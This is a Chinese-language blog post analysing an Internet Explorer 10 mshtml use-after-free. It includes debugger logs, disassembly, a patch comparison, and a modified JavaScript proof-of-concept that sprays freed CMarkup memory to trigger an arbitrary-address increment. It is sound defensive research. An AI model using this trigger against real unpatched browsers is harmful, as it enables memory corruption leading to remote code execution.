这是上周面试管家时,让我写的漏洞分析报告。虽然最后没去管家,目前,还是不想离开成都:)。
前言
分析环境:
Windows 8 Enterprise x86 (9200) Internet Explorer 10.0.9200.16384
受影响的文件:
文件名:mshtml.dll MD5:1F5717EA98EFA062F3E73F0D1790699F SHA1:91C5D01D0EB855185DA66621DA1F328F2AB19FDC 文件版本:10.00.9200.16384
漏洞概述:
在mshtml!CElement::PrivateExitTree函数中对CMarkup对象的处理不当导致Use-After-Free,最终可导致任意地址的内容加1,结合Flash可以造成远程代码执行。
使用的POC代码如下(来自这里):
为了方便分析,关闭ASLR、切换IE为单进程:
[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerMemory Management] "MoveImages"=dword:00000000 [HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain] "TabProcGrowth"=dword:00000000
漏洞调试
WinDbg加载IE,打开poc.htm文件,导致内存访问异常。异常信息如下:
(c30.f20): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=41414141 ebx=051d7408 ecx=00000001 edx=06d62868 esi=06d62868 edi=01270ee0 eip=64d27a59 esp=04fbb4bc ebp=04fbb528 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210206 MSHTML!CMarkup::UpdateMarkupContentsVersion+0x16: 64d27a59 ff4010 inc dword ptr [eax+10h] ds:0023:41414151=????????
触发异常的函数如下:
.text:63697A43 ; public: void __thiscall CMarkup::UpdateMarkupContentsVersion(void) .text:63697A43 ?UpdateMarkupContentsVersion@CMarkup@@QAEXXZ proc near .text:63697A43 ; CODE XREF: CMarkup::NotifyElementEnterTree(CElement *,CTreeNode *,CTreePos *,CTreePos *,long,long,ulong)+272p .text:63697A43 ; CMarkup::FastElemTextSet(CElement *,ushort const *,int,int)+F9p ... .text:63697A43 .text:63697A43 ; FUNCTION CHUNK AT .text:6379DE3F SIZE 00000034 BYTES .text:63697A43 ; FUNCTION CHUNK AT .text:63AEDA5A SIZE 0000002B BYTES .text:63697A43 .text:63697A43 mov eax, [edx+7Ch] .text:63697A46 inc eax .text:63697A47 or eax, 80000000h .text:63697A4C mov [edx+7Ch], eax .text:63697A4F mov eax, [edx+0ACh] ; eax = Some Object .text:63697A55 test eax, eax .text:63697A57 jz short loc_63697A5C .text:63697A59 inc dword ptr [eax+10h] ; crash!!!
eax来自于edx,查看edx:
0:011> dd edx 06d62868 41414141 41414141 41414141 41414141 06d62878 41414141 41414141 41414141 41414141 06d62888 41414141 41414141 41414141 41414141 06d62898 41414141 41414141 41414141 41414141 06d628a8 41414141 41414141 41414141 41414141 06d628b8 41414141 41414141 41414141 41414141 06d628c8 41414141 41414141 41414141 41414141
这段代码在访问CMarkup对象的时候,企图从CMarkup的0x0AC偏移中取出另外一个对象,并尝试对该对象0x10处的成员进行自增。由于之前的代码存在漏洞,导致CMarkup对象的内容已经被覆盖,0x10处已经被覆盖为0x41414141, 故尝试自增导致了内存访问异常。所以,需要跟踪CMarkup对象的分配和释放情况。
为了跟踪CMarkup对象的分配和释放情况,可以通过对其构造函数和虚构函数进行监视:
bu mshtml!CMarkup::CMarkup ".printf"LOG: Alloc CMarkupt%p", @esi;.echo;g;" bu mshtml!CMarkup::~CMarkup ".printf"LOG: Free CMarkupt%p", @ecx;.echo;g;"
根据分析,在CMarkup::CMarkup的时候,esi指向为该对象分配的内存,CMarkup::~CMarkup的时候则是ecx。
为了准确定位触发漏洞的JavaScript语句,可以使用Math函数输出Log作为Trace,对于新版的Internet Explorer使用的JScript9,可使用如下代码:
bu jscript9!Js::Math::Atan2 ".printf "LOG: %mu",poi(poi(esp+14)+c);.echo;g;"
接下来修改poc的代码如下:
function fun() { Math.atan2(0xbabe, "[*] onpropertychange enter..."); var a = 0; // to alloc the memory for (a = 0; a < arrLen; ++a) { g_arr[a] = document.createElement('button') }; var b = dword2data(0x41414141); while (b.length < 0x360) b += dword2data(0x41414141); var d = b.substring(0, (0x340 - 2) / 2); try { Math.atan2(0xbabe, "[*] Before outerHTML..."); this.outerHTML = this.outerHTML Math.atan2(0xbabe, "[*] After outerHTML..."); } catch (e) {} CollectGarbage(); // to reuse the freed memory for (a = 0; a < arrLen; ++a) { g_arr[a].title = d.substring(0, d.length); } Math.atan2(0xbabe, "[*] onpropertychange leave..."); } function puIHa3() { Math.atan2(0xbabe, "[*] puIHa3 enter..."); var a = document.getElementsByTagName("script"); var b = a[0]; Math.atan2(0xbabe, "[*] Before onpropertychange..."); b.onpropertychange = fun; Math.atan2(0xbabe, "[*] After onpropertychange..."); var c = document.createElement('SELECT'); Math.atan2(0xbabe, "[*] Before appendChild..."); b.appendChild(c); // Math.atan2(0xbabe, "[*] After appendChild..."); Math.atan2(0xbabe, "[*] puIHa3 leave..."); } puIHa3();
重新用WinDbg载入IE并运行脚本,得到的LOG如下:
LOG: [*] puIHa3 enter... // 开始执行puIHa3 LOG: [*] Before onpropertychange... LOG: [*] onpropertychange enter... LOG: [*] Before outerHTML... LOG: Alloc CMarkup 05e72168 // this.outerHTML=this.outerHTML执行的时候会分配、释放一个CMarkup对象。 LOG: Free CMarkup 05e72168 // LOG: [*] After outerHTML... LOG: [*] onpropertychange leave... LOG: [*] After onpropertychange… // 以上代码执行完毕,即js中的b.onpropertychange = fun;执行完毕 LOG: [*] Before appendChild… // 开始执行c = b.appendChild(c); LOG: Alloc CMarkup 05f24b58 // CMark分配的对象05f24b58 LOG: [*] onpropertychange enter... // 执行appendChild导致onpropertychange被执行 LOG: [*] Before outerHTML... // 执行this.outerHTML=this.outerHTML LOG: Alloc CMarkup 05f26c28 LOG: Free CMarkup 05f26c28 LOG: Free CMarkup 05f24b58 // !!!释放了appendChild分配的CMarkup对象 LOG: [*] After outerHTML... LOG: [*] onpropertychange leave... // onpropertychange函数结束 (ce4.f3c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=41414141 ebx=04470778 ecx=00000001 edx=05f24b58 esi=05f24b58 edi=0444dc40 eip=64d27a59 esp=0474b1dc ebp=0474b248 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210206 MSHTML!CMarkup::UpdateMarkupContentsVersion+0x16: 64d27a59 ff4010 inc dword ptr [eax+10h] ds:0023:41414151=????????
所以,漏洞触发的大体流程如下:
- 在执行appendChild的时候,会分配一个CMarkup对象,称之为CMakeup A。
- 执行appendChild会导致OnPropertyChange事件的触发,从而之前设置的fun会被执行。
- 当执行到this.outerHTML=this.outerHTML的时候,会涉及到一些CMarkup对象的操作。
- outerHTML赋值的时候,会申请并释放CMarkup B,但此后会释放掉CMakeup A。
- OnPropertyChange事件结束,回到appendChild,此时appendChild不知道对象已经释放,仍然继续对其进行操作,导致UAF。
现在需要跟踪CMarkup A对象的分配和释放情况,以便于定位存在漏洞的函数。
通过修改脚本,去掉了“g;”,可以视为对JavaScript的单步。appendChild开始,记录到的CMarkup A对象为0561be50。去掉其他断点,保留对析构函数的断点。当然断下后,ecx=0561be50,查看调用栈如下:
0:011> kv ChildEBP RetAddr Args to Child 0432a294 6280e77f 0561be50 0432a2bc 627e758a mshtml!CMarkup::~CMarkup (FPO: [Non-Fpo]) 0432a2a0 627e758a 00000001 627e7600 0432a520 mshtml!CMarkup::`vector deleting destructor'+0xd (FPO: [Non-Fpo]) 0432a2a8 627e7600 0432a520 0561be50 03f8a728 mshtml!CBase::SubRelease+0x2e (FPO: [0,0,0]) 0432a2bc 62809bdb 0561be50 00000000 0432a434 mshtml!CBase::PrivateRelease+0xa6 (FPO: [Non-Fpo]) 0432a2cc 62cdded9 0561be50 00000044 0556df10 mshtml!CMarkup::Release+0x2d (FPO: [Non-Fpo]) 0432a434 62cde27b 03f8a728 00000005 00000000 mshtml!InjectHtmlStream+0x704 (FPO: [Non-Fpo]) 0432a474 6286bd08 0432a4d8 0432a520 0552d5e4 mshtml!HandleHTMLInjection+0x82 (FPO: [Non-Fpo])
根据调用栈,可以知道,实际上释放CMarkup A对象的代码在函数mshtml!InjectHtmlStream中,对应的代码如下:
.text:63ADDEC0 loc_63ADDEC0: ; CODE XREF: InjectHtmlStream(CMarkupPointer *,CMarkupPointer *,IStream *,ulong,CElement *,INJECTION_FLAGS,CElement *,ELEMENT_TAG,bool,uint,CPSRCE)+56j .text:63ADDEC0 mov ecx, [eax] .text:63ADDEC2 cmp dword ptr [ecx+1D0h], offset ___vtguard .text:63ADDECC jnz check_vtguard_failed .text:63ADDED2 push eax .text:63ADDED3 call dword ptr [ecx+220h] ; mshtml!CMarkup::Release()
该函数头部有对CMarkup对象进行AddRef的操作:
.text:63ADD7E1 mov ebx, [ebp+ooxx_pointer_x] .text:63ADD7E4 mov eax, [ebx+24h] ; CMarkupPointer + 0x24 = CMarkupObject A .text:63ADD7E7 push esi .text:63ADD7E8 push edi .text:63ADD7E9 mov esi, 800A0258h .text:63ADD7EE mov [ebp+append_ChildObject], eax .text:63ADD7F1 test eax, eax .text:63ADD7F3 jz loc_63ADDED9 .text:63ADD7F9 mov edi, [ebp+arg_4] .text:63ADD7FC cmp dword ptr [edi+24h], 0 .text:63ADD800 jz loc_63ADDED9 .text:63ADD806 mov ecx, [ebx+20h] .text:63ADD809 mov [ebp+ooxx_pointer_x], ecx .text:63ADD80C mov ecx, [eax] .text:63ADD80E cmp dword ptr [ecx+1D0h], offset ___vtguard ; ecx = vtable of CMarkup. .text:63ADD818 jnz check_vtguard_failed .text:63ADD81E push eax .text:63ADD81F call dword ptr [ecx+21Ch] ; call mshtml!CMarkup::AddRef
查看CMarkup对象的虚表:
0:011> r ecx ecx=0561be50 0:011> dd ecx L 1 0561be50 627a5b90 // vtable 0:011> dd 627a5b90+21c L 1 // vtable + 0x21C 627a5dac 62809c11 0:011> u 62809c11 L 1 mshtml!CMarkup::AddRef: 62809c11 8bff mov edi,edi 0:011> dd 627a5b90+220 L 1 // vtable + 0x220 627a5db0 62809ba2 0:011> u 62809ba2 L 1 mshtml!CMarkup::Release: 62809ba2 8bff mov edi,edi
根据上述信息,可知CMarkup使用了类似于智能指针的东西,在引用对象的时候,调用AddRef增加计数;在不需要该对象的时候,调用Release减少引用计数;当引用计数为0的时候,从内存中删除该对象。所以,现在需要跟踪0561be50引用计数的情况。
在执行到mshtml!InjectHtmlStream的时候断下,此时需要跟踪CMarkup A对象在这个scope中的引用情况。
所以,分别对mshtml!CMarkup::AddRef和mshtml!CMarkup::Release函数下断点,根据下面代码,edi和esi分别为要操作的对象,0561be50是需要观察的值。
0:011> u mshtml!CMarkup::AddRef mshtml!CMarkup::AddRef: 62809c11 8bff mov edi,edi 62809c13 55 push ebp 62809c14 8bec mov ebp,esp 62809c16 57 push edi 62809c17 8b7d08 mov edi,dword ptr [ebp+8] 62809c1a 8b07 mov eax,dword ptr [edi] 0:011> u mshtml!CMarkup::Release mshtml!CMarkup::Release: 62809ba2 8bff mov edi,edi 62809ba4 55 push ebp 62809ba5 8bec mov ebp,esp 62809ba7 56 push esi 62809ba8 8b7508 mov esi,dword ptr [ebp+8] 62809bab 8b06 mov eax,dword ptr [esi]
以下信息记录了mshtml!InjectHtmlStream中对0561be50引用计数的操作:
1. CMarkup::AddRef
mshtml!CMarkup::AddRef+0x6: 62809c17 8b7d08 mov edi,dword ptr [ebp+8] ss:0023:0432a2d4=0561be50 // Stack 0:011> kv ChildEBP RetAddr Args to Child 0432a2cc 62cdd825 0561be50 00000044 0556df10 mshtml!CMarkup::AddRef+0x6 (FPO: [Non-Fpo]) 0432a434 62cde27b 03f8a728 0432a520 0556df10 mshtml!InjectHtmlStream+0x50 (FPO: [Non-Fpo]) 0432a474 6286bd08 0432a4d8 0432a520 0552d5e4 mshtml!HandleHTMLInjection+0x82 (FPO: [Non-Fpo])
2. CMarkup::AddRef
mshtml!CMarkup::AddRef+0x6: 62809c17 8b7d08 mov edi,dword ptr [ebp+8] ss:0023:04329e38=0561be50 // Stack 0:011> kv ChildEBP RetAddr Args to Child 04329e30 62869960 0561be50 62869cab 00000000 mshtml!CMarkup::AddRef+0x6 (FPO: [Non-Fpo]) 04329e38 62869cab 00000000 00000000 03f81728 mshtml!CMarkup::CLock::CLock+0x17 (FPO: [0,0,0]) 0432a038 62cf1425 0561be50 05522900 00000100 mshtml!CSpliceTreeEngine::RemoveSplice+0x68 (FPO: [Non-Fpo]) 0432a118 62cf151e 0432a154 0432a168 00000000 mshtml!CMarkup::SpliceTreeInternal+0x182 (FPO: [6,53,4]) 0432a2a4 62cf156a 0432a4d8 0432a520 00000000 mshtml!CDoc::CutCopyMove+0x3dc (FPO: [5,87,4]) 0432a2c4 62ce6be3 0432a4d8 0432a520 00000000 mshtml!CDoc::Remove+0x1a (FPO: [3,0,0]) 0432a434 62cde27b 03f8a728 00000005 00000000 mshtml!InjectHtmlStream+0x759 (FPO: [Non-Fpo])
3. CMarkup::Release
mshtml!CMarkup::Release+0x6: 62809ba8 8b7508 mov esi,dword ptr [ebp+8] ss:0023:04329e10=0561be50 // Stack 0:011> kv ChildEBP RetAddr Args to Child 04329e08 62cdece2 0561be50 03fee090 0432a048 mshtml!CMarkup::Release+0x6 (FPO: [Non-Fpo]) 04329e30 62cdb92e 03fee090 0561be50 00000000 mshtml!CElement::PrivateExitTree+0x3aa (FPO: [Non-Fpo]) 0432a038 62cf1425 0561be50 05522900 00000100 mshtml!CSpliceTreeEngine::RemoveSplice+0x5ed (FPO: [Non-Fpo]) 0432a118 62cf151e 0432a154 0432a168 00000000 mshtml!CMarkup::SpliceTreeInternal+0x182 (FPO: [6,53,4]) 0432a2a4 62cf156a 0432a4d8 0432a520 00000000 mshtml!CDoc::CutCopyMove+0x3dc (FPO: [5,87,4]) 0432a2c4 62ce6be3 0432a4d8 0432a520 00000000 mshtml!CDoc::Remove+0x1a (FPO: [3,0,0]) 0432a434 62cde27b 03f8a728 00000005 00000000 mshtml!InjectHtmlStream+0x759 (FPO: [Non-Fpo])
4. CMarkup::Release
mshtml!CMarkup::Release+0x6: 62809ba8 8b7508 mov esi,dword ptr [ebp+8] ss:0023:04329e38=0561be50 // Stack 0:011> kv ChildEBP RetAddr Args to Child 04329e30 62869983 0561be50 6286a1b5 00000000 mshtml!CMarkup::Release+0x6 (FPO: [Non-Fpo]) 04329e38 6286a1b5 00000000 00000000 03f81728 mshtml!CMarkup::CLock::~CLock+0x17 (FPO: [0,0,0]) 0432a038 62cf1425 0561be50 05522900 00000100 mshtml!CSpliceTreeEngine::RemoveSplice+0x80b (FPO: [Non-Fpo]) 0432a118 62cf151e 0432a154 0432a168 00000000 mshtml!CMarkup::SpliceTreeInternal+0x182 (FPO: [6,53,4]) 0432a2a4 62cf156a 0432a4d8 0432a520 00000000 mshtml!CDoc::CutCopyMove+0x3dc (FPO: [5,87,4]) 0432a2c4 62ce6be3 0432a4d8 0432a520 00000000 mshtml!CDoc::Remove+0x1a (FPO: [3,0,0]) 0432a434 62cde27b 03f8a728 00000005 00000000 mshtml!InjectHtmlStream+0x759 (FPO: [Non-Fpo])
5. CMarkup::Release
mshtml!CMarkup::Release+0x6: 62809ba8 8b7508 mov esi,dword ptr [ebp+8] ss:0023:0432a2d4=0561be50 // Stack 0:011> kv ChildEBP RetAddr Args to Child 0432a2cc 62cdded9 0561be50 00000044 0556df10 mshtml!CMarkup::Release+0x6 (FPO: [Non-Fpo]) 0432a434 62cde27b 03f8a728 00000005 00000000 mshtml!InjectHtmlStream+0x704 (FPO: [Non-Fpo]) 0432a474 6286bd08 0432a4d8 0432a520 0552d5e4 mshtml!HandleHTMLInjection+0x82 (FPO: [Non-Fpo])
AddRef和Release的次数为奇数,异常的Release操作就在这其中。对应的分析如下:
(1)和(5):mshtml!InjectHtmlStream对0561be50的引用没有问题。第(1)次和第(5)次调用,显示了mshtml!InjectHtmlStream在函数进入的时候对0561be50进行了AddRef,在退出的时候Release,符合AddRef和Release的设计初衷。
(2)和(4):Stack显示AddRef来自mshtml!CMarkup::CLock::CLock,Release来自mshtml!CMarkup::CLock::~CLock,这种手法常见于C++的技巧,通过局部变量的ctor和dtor,保证在当前scope内对该对象的占有。
所以,出问题的是第(3)次的Release。
在该操作之前没有对调用CMarkup::AddRef。在没Ref的情况下对CMarkup进行Release,导致了mshtml!InjectHtmlStream结束的时候,CMarkup对象已经被释放。
根据(3)的CallStack,找到对应的释放代码:
.text:63ADECC9 jump_to_fatal_release: ; CODE XREF: CElement::PrivateExitTree(CMarkup *)+5F296Dj .text:63ADECC9 mov eax, [esi] .text:63ADECCB cmp dword ptr [eax+1D0h], offset ___vtguard .text:63ADECD5 jnz loc_63855AD9 .text:63ADECDB push esi .text:63ADECDC call dword ptr [eax+220h] ; !!!
根据上述信息,定位到了真正发生错误的代码。最后执行的路径是CSpliceTreeEngine::RemoveSplice -> CElement::PrivateExitTree。
根据上述信息,没法准确的判断漏洞是如何产生的,下面通过对比打补丁前后的文件,查找漏洞的成因。
补丁后的文件:
文件名:mshtml.dll MD5:9F378D86F983E84A0212678C1D18D7FC SHA1:B66FF0EC15DE4FE7963DEEF987D45FDB8DF6E7DF 文件版本:10.00.9200.16843
先是10.00.9200.16843,进入CSpliceTreeEngine::RemoveSplice的时候:
.text:6376E8B0 cmp dword ptr [eax+1D4h], offset ___vtguard .text:6376E8BA mov [esp+258h+var_24C], edi .text:6376E8BE mov [esp+258h+var_18C], ecx .text:6376E8C5 jnz loc_637BF152 .text:6376E8CB jmp loc_6376F000 // 6376F000 .text:6376F000 loc_6376F000: ; CODE XREF: CSpliceTreeEngine::RemoveSplice(void)+8Aj .text:6376F000 push ecx .text:6376F001 call dword ptr [eax+220h] ; call mshtml!CMarkup::AddRef
10.00.9200.16843的CElement::PrivateExitTree函数中释放的代码:
.text:63777626 .text:63777626 loc_63777626: ; CODE XREF: CElement::PrivateExitTree(CMarkup *)+16Bj .text:63777626 test eax, eax .text:63777628 js loc_640DBC28 .text:6377762E .text:6377762E loc_6377762E: ; CODE XREF: CElement::PrivateExitTree(CMarkup *)+968EC0j .text:6377762E mov eax, [ebx] .text:63777630 cmp dword ptr [eax+1D4h], offset ___vtguard .text:6377763A jnz loc_6396C531 .text:63777640 push ebx .text:63777641 call dword ptr [eax+224h] ; call mshtml!CMarkup::Release
可见,在10.00.9200.16843中,CMarkup::AddRef和CMarkup::Release已经配对。而10.0.9200.16384的是这样的,进入的CSpliceTreeEngine::RemoveSplice的时候:
.text:63669C9D mov ecx, [esi+8] .text:63669CA0 lea esi, [ebp+var_1B4] .text:63669CA6 call ??0CLock@CMarkup@@QAE@PAV1@@Z ; CMarkup::CLock::CLock(CLock *) .text:63669CAB mov esi, [ebp+var_150] .text:63669CB1 mov eax, [esi+1Ch]
离开CSpliceTreeEngine::RemoveSplice:
.text:6366A1AA lea eax, [ebp+var_1B4] .text:6366A1B0 call ??1CLock@CMarkup@@QAE@XZ ; CMarkup::CLock::~CLock(void) .text:6366A1B5 lea eax, [ebp+var_108]
CMarkup::CLock类,不出意外的只是负责维护引用计数:
.text:63669945 ; public: __thiscall CMarkup::CLock::CLock(class CLock *) .text:63669945 ??0CLock@CMarkup@@QAE@PAV1@@Z proc near ; CODE XREF: CSpliceTreeEngine::RemoveSplice(void)+63p .text:63669945 ; CElement::ReplaceChildHelper(CElement *,CDOMTextNode *,CElement *,CDOMTextNode *,OMVersion,CMarkup *)+92p ... .text:63669945 mov [esi], ecx .text:63669947 mov eax, [ecx] .text:63669949 cmp dword ptr [eax+1D0h], offset ___vtguard .text:63669953 jnz ___report_gsfailure .text:63669959 push ecx .text:6366995A call dword ptr [eax+21Ch] ; call mshtml!CMarkup::AddRef .text:63669960 mov eax, esi .text:63669962 retn .text:63669962 ??0CLock@CMarkup@@QAE@PAV1@@Z endp .text:63669962 .text:63669962 ; --------------------------------------------------------------------------- .text:63669963 align 8 .text:63669968 .text:63669968 ; =============== S U B R O U T I N E ======================================= .text:63669968 .text:63669968 .text:63669968 ; public: __thiscall CMarkup::CLock::~CLock(void) .text:63669968 ??1CLock@CMarkup@@QAE@XZ proc near ; CODE XREF: CSpliceTreeEngine::RemoveSplice(void)+56Dp .text:63669968 ; CScriptData::Execute(void)-183A5Ap ... .text:63669968 mov eax, [eax] .text:6366996A mov ecx, [eax] .text:6366996C cmp dword ptr [ecx+1D0h], offset ___vtguard .text:63669976 jnz ___report_gsfailure .text:6366997C push eax .text:6366997D call dword ptr [ecx+220h] ; call mshtml!CMarkup::Release .text:63669983 retn .text:63669983 ??1CLock@CMarkup@@QAE@XZ endp
而在CElement::PrivateExitTree中,使用CMarkup::Release减少引用次数:
.text:63ADECC9 jump_to_fatal_release: ; CODE XREF: CElement::PrivateExitTree(CMarkup *)+5F296Dj .text:63ADECC9 mov eax, [esi] .text:63ADECCB cmp dword ptr [eax+1D0h], offset ___vtguard .text:63ADECD5 jnz loc_63855AD9 .text:63ADECDB push esi .text:63ADECDC call dword ptr [eax+220h] ; !!! Fatal release! .text:63ADECE2 pop edi
目前,可以猜测这个地方有两个程序员在维护这些代码,前者希望通过CMarkup::CLock来释放引用计数(RAII)。而这个函数提供了另外一个负责资源释放的函数,即CElement::PrivateExitTree。
维护这个函数的程序员不知道前者使用了CMarkup::CLock,简单粗暴的使用了CMarkup::Release()引用计数,导致了AddRef和Release的不平衡,最终导致appendChild分配的对象过早释放,当appendChild使用的时候,造成UAF。
最终,在调用MSHTML!CMarkup::UpdateMarkupContentsVersion的时候,能够触发任意地址内容加1的漏洞。
很厉害呀,想看看你怎么学的。求指教。
这是我第一次分析UAF,上述就是完整的过程和笔记了。
无限YM小伟